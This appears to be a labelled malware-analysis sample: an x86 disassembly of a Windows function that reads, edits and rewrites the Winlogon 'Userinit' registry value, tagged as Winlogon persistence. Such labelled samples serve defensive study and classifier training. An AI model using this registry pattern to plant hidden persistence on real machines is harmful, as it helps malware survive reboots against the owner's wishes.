Function at 0x403ac0
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e74e
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x429084]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
test edi, edi
je 0x403b4b
mov esi, 0xf003f
call fcn.00405700
test eax, eax
mov ecx, 0xf013f
lea eax, [ebp - 0x44]
push eax
cmovne esi, ecx
push esi
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403b4b
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push str.Userinit
push dword [ebp - 0x44]
call esi
test eax, eax
je 0x403b52
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x403d1c
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x48]
shr eax, 1
sub eax, 1
jne 0x403b7f
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov word [ebp + eax*2 - 0x28], cx
jmp 0x403b8a
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00404280
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x48]
push ecx
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 0
push 0
push str.Userinit
push dword [ebp - 0x44]
call esi
test eax, eax
je 0x403bbc
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
jmp 0x403d05
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x28]
push 0x2c
push eax
call fcn.004059f0
add esp, 0xc
lea ecx, [ebp - 0x40]
push edi
call fcn.00401300
push eax
mov byte [ebp - 4], 2
call fcn.00405b10
lea ecx, [ebp - 0x28]
add esp, 4
cmp ecx, eax
je 0x403c0e
push 0xffffffffffffffff
push 0
push eax
call fcn.00401710
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.004013a0
mov esi, dword [ebp - 0x54]
xor edi, edi
cmp esi, dword [ebp - 0x50]
je 0x403cef
mov ebx, dword [ebp - 0x48]
nop dword [eax + eax]
push esi
call fcn.00405b10
add esp, 4
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
push dword [ebp - 0x18]
cmovae ecx, dword [ebp - 0x28]
push ecx
push dword [eax + 0x10]
mov ecx, eax
mov byte [ebp - 4], 3
push 0
call fcn.00404720
mov byte [ebp - 4], 1
test eax, eax
jne 0x403c95
push ebx
push esi
push dword [ebp - 0x50]
lea eax, [esi + 0x18]
push eax
call fcn.004023d0
push dword [ebp - 0x48]
lea eax, [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x50]
push eax
add eax, 0xffffffe8
push eax
call fcn.00401270
mov eax, dword [ebp - 0x50]
add esp, 0x20
sub eax, 0x18
mov edi, 1
mov dword [ebp - 0x50], eax
jmp 0x403c9b
mov eax, dword [ebp - 0x50]
add esi, 0x18
cmp esi, eax
jne 0x403c30
test edi, edi
je 0x403cef
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x54]
push 0x2c
push eax
call fcn.00405950
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
add esp, 0xc
cmp dword [ebp - 0x14], 8
cmovae ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push str.Userinit
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x403cef
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor esi, esi
jmp 0x403cfd
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 1
lea ecx, [ebp - 0x54]
call fcn.004013e0
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x403d1a
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.00401990
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a2d1
mov esp, ebp
pop ebp
ret